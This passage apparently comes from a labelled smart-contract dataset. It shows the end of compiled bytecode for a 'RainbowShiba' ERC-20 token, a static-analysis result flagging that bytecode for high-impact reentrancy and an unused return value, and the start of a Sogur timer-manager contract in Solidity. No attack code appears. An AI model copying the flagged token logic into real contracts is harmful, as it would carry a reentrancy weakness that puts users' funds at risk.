5b9050919050565b610a34611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612f0b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b87611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612f0b565b60405180910390fd5b671bc16d674ec80000600f81905550671bc16d674ec80000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f5261696e626f7753686962610000000000000000000000000000000000000000815250905090565b6000610cae610ca7611448565b848461161b565b6001905092915050565b610cc0611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612f0b565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a83671bc16d674ec80000611d1290919063ffffffff16565b611d8d90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd2611448565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611eb1565b50565b610e13611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612f0b565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612fab565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16671bc16d674ec80000611450565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fc557600080fd5b505afa158015610fd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffd9190612870565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561105f57600080fd5b505afa158015611073573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110979190612870565b6040518363ffffffff1660e01b81526004016110b4929190612d5b565b602060405180830381600087803b1580156110ce57600080fd5b505af11580156110e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111069190612870565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061118f306109db565b60008061119a610c34565b426040518863ffffffff1660e01b81526004016111bc96959493929190612dad565b6060604051808303818588803b1580156111d557600080fd5b505af11580156111e9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061120e9190612a40565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555061127660646112686002671bc16d674ec80000611d1290919063ffffffff16565b611d8d90919063ffffffff16565b600f819055506112ab606461129d6003671bc16d674ec80000611d1290919063ffffffff16565b611d8d90919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161136b929190612d84565b602060405180830381600087803b15801561138557600080fd5b505af1158015611399573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bd91906129e6565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b790612f8b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611530576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152790612eab565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161160e9190612fcb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561168b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168290612f4b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f290612e4b565b60405180910390fd5b6000811161173e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173590612f2b565b60405180910390fd5b6000600a819055506005600b81905550611756610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117c45750611794610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c9e57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561186d5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119215750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119775750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561198f5750600e60179054906101000a900460ff165b15611acd57600f548111156119d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d090612e6b565b60405180910390fd5b601054816119e6846109db565b6119f09190613101565b1115611a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2890612f6b565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a7c57600080fd5b601e42611a899190613101565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b785750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bce5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611be4576000600a819055506005600b819055505b6000611bef306109db565b9050600e60159054906101000a900460ff16158015611c5c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c745750600e60169054906101000a900460ff165b15611c9c57611c8281611eb1565b60004790506000811115611c9a57611c9947611dd7565b5b505b505b611ca9838383612139565b505050565b6000838311158290611cf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ced9190612e29565b60405180910390fd5b5060008385611d0591906131e2565b9050809150509392505050565b600080831415611d255760009050611d87565b60008284611d339190613188565b9050828482611d429190613157565b14611d82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7990612eeb565b60405180910390fd5b809150505b92915050565b6000611dcf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612149565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e3f573d6000803e3d6000fd5b5050565b6000600854821115611e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8190612e8b565b60405180910390fd5b6000611e946121ac565b9050611ea98184611d8d90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ee957611ee86133b7565b5b604051908082528060200260200182016040528015611f175781602001602082028036833780820191505090505b5090503081600081518110611f2f57611f2e613388565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fd157600080fd5b505afa158015611fe5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120099190612870565b8160018151811061201d5761201c613388565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061208430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611450565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120e8959493929190612fe6565b600060405180830381600087803b15801561210257600080fd5b505af1158015612116573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6121448383836121d7565b505050565b60008083118290612190576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121879190612e29565b60405180910390fd5b506000838561219f9190613157565b9050809150509392505050565b60008060006121b96123a2565b915091506121d08183611d8d90919063ffffffff16565b9250505090565b6000806000806000806121e987612401565b95509550955095509550955061224786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122dc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232881612511565b61233284836125ce565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161238f9190612fcb565b60405180910390a3505050505050505050565b600080600060085490506000671bc16d674ec8000090506123d6671bc16d674ec80000600854611d8d90919063ffffffff16565b8210156123f457600854671bc16d674ec800009350935050506123fd565b81819350935050505b9091565b600080600080600080600080600061241e8a600a54600b54612608565b925092509250600061242e6121ac565b905060008060006124418e87878761269e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124ab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cae565b905092915050565b60008082846124c29190613101565b905083811015612507576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fe90612ecb565b60405180910390fd5b8091505092915050565b600061251b6121ac565b905060006125328284611d1290919063ffffffff16565b905061258681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125e38260085461246990919063ffffffff16565b6008819055506125fe816009546124b390919063ffffffff16565b6009819055505050565b6000806000806126346064612626888a611d1290919063ffffffff16565b611d8d90919063ffffffff16565b9050600061265e6064612650888b611d1290919063ffffffff16565b611d8d90919063ffffffff16565b9050600061268782612679858c61246990919063ffffffff16565b61246990919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126b78589611d1290919063ffffffff16565b905060006126ce8689611d1290919063ffffffff16565b905060006126e58789611d1290919063ffffffff16565b9050600061270e82612700858761246990919063ffffffff16565b61246990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273a61273584613080565b61305b565b9050808382526020820190508285602086028201111561275d5761275c6133eb565b5b60005b8581101561278d57816127738882612797565b845260208401935060208301925050600181019050612760565b5050509392505050565b6000813590506127a681613701565b92915050565b6000815190506127bb81613701565b92915050565b600082601f8301126127d6576127d56133e6565b5b81356127e6848260208601612727565b91505092915050565b6000813590506127fe81613718565b92915050565b60008151905061281381613718565b92915050565b6000813590506128288161372f565b92915050565b60008151905061283d8161372f565b92915050565b600060208284031215612859576128586133f5565b5b600061286784828501612797565b91505092915050565b600060208284031215612886576128856133f5565b5b6000612894848285016127ac565b91505092915050565b600080604083850312156128b4576128b36133f5565b5b60006128c285828601612797565b92505060206128d385828601612797565b9150509250929050565b6000806000606084860312156128f6576128f56133f5565b5b600061290486828701612797565b935050602061291586828701612797565b925050604061292686828701612819565b9150509250925092565b60008060408385031215612947576129466133f5565b5b600061295585828601612797565b925050602061296685828601612819565b9150509250929050565b600060208284031215612986576129856133f5565b5b600082013567ffffffffffffffff8111156129a4576129a36133f0565b5b6129b0848285016127c1565b91505092915050565b6000602082840312156129cf576129ce6133f5565b5b60006129dd848285016127ef565b91505092915050565b6000602082840312156129fc576129fb6133f5565b5b6000612a0a84828501612804565b91505092915050565b600060208284031215612a2957612a286133f5565b5b6000612a3784828501612819565b91505092915050565b600080600060608486031215612a5957612a586133f5565b5b6000612a678682870161282e565b9350506020612a788682870161282e565b9250506040612a898682870161282e565b9150509250925092565b6000612a9f8383612aab565b60208301905092915050565b612ab481613216565b82525050565b612ac381613216565b82525050565b6000612ad4826130bc565b612ade81856130df565b9350612ae9836130ac565b8060005b83811015612b1a578151612b018882612a93565b9750612b0c836130d2565b925050600181019050612aed565b5085935050505092915050565b612b3081613228565b82525050565b612b3f8161326b565b82525050565b6000612b50826130c7565b612b5a81856130f0565b9350612b6a81856020860161327d565b612b73816133fa565b840191505092915050565b6000612b8b6023836130f0565b9150612b968261340b565b604082019050919050565b6000612bae6019836130f0565b9150612bb98261345a565b602082019050919050565b6000612bd1602a836130f0565b9150612bdc82613483565b604082019050919050565b6000612bf46022836130f0565b9150612bff826134d2565b604082019050919050565b6000612c17601b836130f0565b9150612c2282613521565b602082019050919050565b6000612c3a6021836130f0565b9150612c458261354a565b604082019050919050565b6000612c5d6020836130f0565b9150612c6882613599565b602082019050919050565b6000612c806029836130f0565b9150612c8b826135c2565b604082019050919050565b6000612ca36025836130f0565b9150612cae82613611565b604082019050919050565b6000612cc6601a836130f0565b9150612cd182613660565b602082019050919050565b6000612ce96024836130f0565b9150612cf482613689565b604082019050919050565b6000612d0c6017836130f0565b9150612d17826136d8565b602082019050919050565b612d2b81613254565b82525050565b612d3a8161325e565b82525050565b6000602082019050612d556000830184612aba565b92915050565b6000604082019050612d706000830185612aba565b612d7d6020830184612aba565b9392505050565b6000604082019050612d996000830185612aba565b612da66020830184612d22565b9392505050565b600060c082019050612dc26000830189612aba565b612dcf6020830188612d22565b612ddc6040830187612b36565b612de96060830186612b36565b612df66080830185612aba565b612e0360a0830184612d22565b979650505050505050565b6000602082019050612e236000830184612b27565b92915050565b60006020820190508181036000830152612e438184612b45565b905092915050565b60006020820190508181036000830152612e6481612b7e565b9050919050565b60006020820190508181036000830152612e8481612ba1565b9050919050565b60006020820190508181036000830152612ea481612bc4565b9050919050565b60006020820190508181036000830152612ec481612be7565b9050919050565b60006020820190508181036000830152612ee481612c0a565b9050919050565b60006020820190508181036000830152612f0481612c2d565b9050919050565b60006020820190508181036000830152612f2481612c50565b9050919050565b60006020820190508181036000830152612f4481612c73565b9050919050565b60006020820190508181036000830152612f6481612c96565b9050919050565b60006020820190508181036000830152612f8481612cb9565b9050919050565b60006020820190508181036000830152612fa481612cdc565b9050919050565b60006020820190508181036000830152612fc481612cff565b9050919050565b6000602082019050612fe06000830184612d22565b92915050565b600060a082019050612ffb6000830188612d22565b6130086020830187612b36565b818103604083015261301a8186612ac9565b90506130296060830185612aba565b6130366080830184612d22565b9695505050505050565b60006020820190506130556000830184612d31565b92915050565b6000613065613076565b905061307182826132b0565b919050565b6000604051905090565b600067ffffffffffffffff82111561309b5761309a6133b7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061310c82613254565b915061311783613254565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561314c5761314b61332a565b5b828201905092915050565b600061316282613254565b915061316d83613254565b92508261317d5761317c613359565b5b828204905092915050565b600061319382613254565b915061319e83613254565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131d7576131d661332a565b5b828202905092915050565b60006131ed82613254565b91506131f883613254565b92508282101561320b5761320a61332a565b5b828203905092915050565b600061322182613234565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061327682613254565b9050919050565b60005b8381101561329b578082015181840152602081019050613280565b838111156132aa576000848401525b50505050565b6132b9826133fa565b810181811067ffffffffffffffff821117156132d8576132d76133b7565b5b80604052505050565b60006132ec82613254565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561331f5761331e61332a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61370a81613216565b811461371557600080fd5b50565b61372181613228565b811461372c57600080fd5b50565b61373881613254565b811461374357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200f21cac6484f272bcc6a554e4a3d8b7c3b948d6ee4accd760a3235d07b9c207764736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,346 |
0x4cd2f77c388e8d266921ba1bef2e519e3118703f
|
pragma solidity 0.4.25;
// File: contracts/sogur/interfaces/IMintingPointTimersManager.sol
/**
* @title Minting Point Timers Manager Interface.
*/
interface IMintingPointTimersManager {
/**
* @dev Start a given timestamp.
* @param _id The ID of the timestamp.
* @notice When tested, this timestamp will be either 'running' or 'expired'.
*/
function start(uint256 _id) external;
/**
* @dev Reset a given timestamp.
* @param _id The ID of the timestamp.
* @notice When tested, this timestamp will be neither 'running' nor 'expired'.
*/
function reset(uint256 _id) external;
/**
* @dev Get an indication of whether or not a given timestamp is 'running'.
* @param _id The ID of the timestamp.
* @return An indication of whether or not a given timestamp is 'running'.
* @notice Even if this timestamp is not 'running', it is not necessarily 'expired'.
*/
function running(uint256 _id) external view returns (bool);
/**
* @dev Get an indication of whether or not a given timestamp is 'expired'.
* @param _id The ID of the timestamp.
* @return An indication of whether or not a given timestamp is 'expired'.
* @notice Even if this timestamp is not 'expired', it is not necessarily 'running'.
*/
function expired(uint256 _id) external view returns (bool);
}
// File: contracts/contract_address_locator/interfaces/IContractAddressLocator.sol
/**
* @title Contract Address Locator Interface.
*/
interface IContractAddressLocator {
/**
* @dev Get the contract address mapped to a given identifier.
* @param _identifier The identifier.
* @return The contract address.
*/
function getContractAddress(bytes32 _identifier) external view returns (address);
/**
* @dev Determine whether or not a contract address relates to one of the identifiers.
* @param _contractAddress The contract address to look for.
* @param _identifiers The identifiers.
* @return A boolean indicating if the contract address relates to one of the identifiers.
*/
function isContractAddressRelates(address _contractAddress, bytes32[] _identifiers) external view returns (bool);
}
// File: contracts/contract_address_locator/ContractAddressLocatorHolder.sol
/**
* @title Contract Address Locator Holder.
* @dev Hold a contract address locator, which maps a unique identifier to every contract address in the system.
* @dev Any contract which inherits from this contract can retrieve the address of any contract in the system.
* @dev Thus, any contract can remain "oblivious" to the replacement of any other contract in the system.
* @dev In addition to that, any function in any contract can be restricted to a specific caller.
*/
contract ContractAddressLocatorHolder {
bytes32 internal constant _IAuthorizationDataSource_ = "IAuthorizationDataSource";
bytes32 internal constant _ISGNConversionManager_ = "ISGNConversionManager" ;
bytes32 internal constant _IModelDataSource_ = "IModelDataSource" ;
bytes32 internal constant _IPaymentHandler_ = "IPaymentHandler" ;
bytes32 internal constant _IPaymentManager_ = "IPaymentManager" ;
bytes32 internal constant _IPaymentQueue_ = "IPaymentQueue" ;
bytes32 internal constant _IReconciliationAdjuster_ = "IReconciliationAdjuster" ;
bytes32 internal constant _IIntervalIterator_ = "IIntervalIterator" ;
bytes32 internal constant _IMintHandler_ = "IMintHandler" ;
bytes32 internal constant _IMintListener_ = "IMintListener" ;
bytes32 internal constant _IMintManager_ = "IMintManager" ;
bytes32 internal constant _IPriceBandCalculator_ = "IPriceBandCalculator" ;
bytes32 internal constant _IModelCalculator_ = "IModelCalculator" ;
bytes32 internal constant _IRedButton_ = "IRedButton" ;
bytes32 internal constant _IReserveManager_ = "IReserveManager" ;
bytes32 internal constant _ISagaExchanger_ = "ISagaExchanger" ;
bytes32 internal constant _ISogurExchanger_ = "ISogurExchanger" ;
bytes32 internal constant _SgnToSgrExchangeInitiator_ = "SgnToSgrExchangeInitiator" ;
bytes32 internal constant _IMonetaryModel_ = "IMonetaryModel" ;
bytes32 internal constant _IMonetaryModelState_ = "IMonetaryModelState" ;
bytes32 internal constant _ISGRAuthorizationManager_ = "ISGRAuthorizationManager";
bytes32 internal constant _ISGRToken_ = "ISGRToken" ;
bytes32 internal constant _ISGRTokenManager_ = "ISGRTokenManager" ;
bytes32 internal constant _ISGRTokenInfo_ = "ISGRTokenInfo" ;
bytes32 internal constant _ISGNAuthorizationManager_ = "ISGNAuthorizationManager";
bytes32 internal constant _ISGNToken_ = "ISGNToken" ;
bytes32 internal constant _ISGNTokenManager_ = "ISGNTokenManager" ;
bytes32 internal constant _IMintingPointTimersManager_ = "IMintingPointTimersManager" ;
bytes32 internal constant _ITradingClasses_ = "ITradingClasses" ;
bytes32 internal constant _IWalletsTradingLimiterValueConverter_ = "IWalletsTLValueConverter" ;
bytes32 internal constant _BuyWalletsTradingDataSource_ = "BuyWalletsTradingDataSource" ;
bytes32 internal constant _SellWalletsTradingDataSource_ = "SellWalletsTradingDataSource" ;
bytes32 internal constant _WalletsTradingLimiter_SGNTokenManager_ = "WalletsTLSGNTokenManager" ;
bytes32 internal constant _BuyWalletsTradingLimiter_SGRTokenManager_ = "BuyWalletsTLSGRTokenManager" ;
bytes32 internal constant _SellWalletsTradingLimiter_SGRTokenManager_ = "SellWalletsTLSGRTokenManager" ;
bytes32 internal constant _IETHConverter_ = "IETHConverter" ;
bytes32 internal constant _ITransactionLimiter_ = "ITransactionLimiter" ;
bytes32 internal constant _ITransactionManager_ = "ITransactionManager" ;
bytes32 internal constant _IRateApprover_ = "IRateApprover" ;
bytes32 internal constant _SGAToSGRInitializer_ = "SGAToSGRInitializer" ;
IContractAddressLocator private contractAddressLocator;
/**
* @dev Create the contract.
* @param _contractAddressLocator The contract address locator.
*/
constructor(IContractAddressLocator _contractAddressLocator) internal {
require(_contractAddressLocator != address(0), "locator is illegal");
contractAddressLocator = _contractAddressLocator;
}
/**
* @dev Get the contract address locator.
* @return The contract address locator.
*/
function getContractAddressLocator() external view returns (IContractAddressLocator) {
return contractAddressLocator;
}
/**
* @dev Get the contract address mapped to a given identifier.
* @param _identifier The identifier.
* @return The contract address.
*/
function getContractAddress(bytes32 _identifier) internal view returns (address) {
return contractAddressLocator.getContractAddress(_identifier);
}
/**
* @dev Determine whether or not the sender relates to one of the identifiers.
* @param _identifiers The identifiers.
* @return A boolean indicating if the sender relates to one of the identifiers.
*/
function isSenderAddressRelates(bytes32[] _identifiers) internal view returns (bool) {
return contractAddressLocator.isContractAddressRelates(msg.sender, _identifiers);
}
/**
* @dev Verify that the caller is mapped to a given identifier.
* @param _identifier The identifier.
*/
modifier only(bytes32 _identifier) {
require(msg.sender == getContractAddress(_identifier), "caller is illegal");
_;
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: contracts/sogur/MintingPointTimersManager.sol
/**
* Details of usage of licenced software see here: https://www.sogur.com/software/readme_v1
*/
/**
* @title Minting Point Timers Manager.
*/
contract MintingPointTimersManager is IMintingPointTimersManager, ContractAddressLocatorHolder {
string public constant VERSION = "1.0.1";
using SafeMath for uint256;
struct Timestamp {
bool valid;
uint256 value;
}
uint256 public timeout;
Timestamp[95] public timestamps;
/**
* @dev Create the contract.
* @param _contractAddressLocator The contract address locator.
* @param _timeout The number of seconds elapsed between 'running' and 'expired'.
* @notice Each timestamp can be in either one of 3 states: 'running', 'expired' or 'invalid'.
*/
constructor(IContractAddressLocator _contractAddressLocator, uint256 _timeout) ContractAddressLocatorHolder(_contractAddressLocator) public {
timeout = _timeout;
}
/**
* @dev Start a given timestamp.
* @param _id The ID of the timestamp.
* @notice When tested, this timestamp will be either 'running' or 'expired'.
*/
function start(uint256 _id) external only(_IIntervalIterator_) {
Timestamp storage timestamp = timestamps[_id];
assert(!timestamp.valid);
timestamp.valid = true;
timestamp.value = time();
}
/**
* @dev Reset a given timestamp.
* @param _id The ID of the timestamp.
* @notice When tested, this timestamp will be neither 'running' nor 'expired'.
*/
function reset(uint256 _id) external only(_IIntervalIterator_) {
Timestamp storage timestamp = timestamps[_id];
assert(timestamp.valid);
timestamp.valid = false;
timestamp.value = 0;
}
/**
* @dev Get an indication of whether or not a given timestamp is 'running'.
* @param _id The ID of the timestamp.
* @return An indication of whether or not a given timestamp is 'running'.
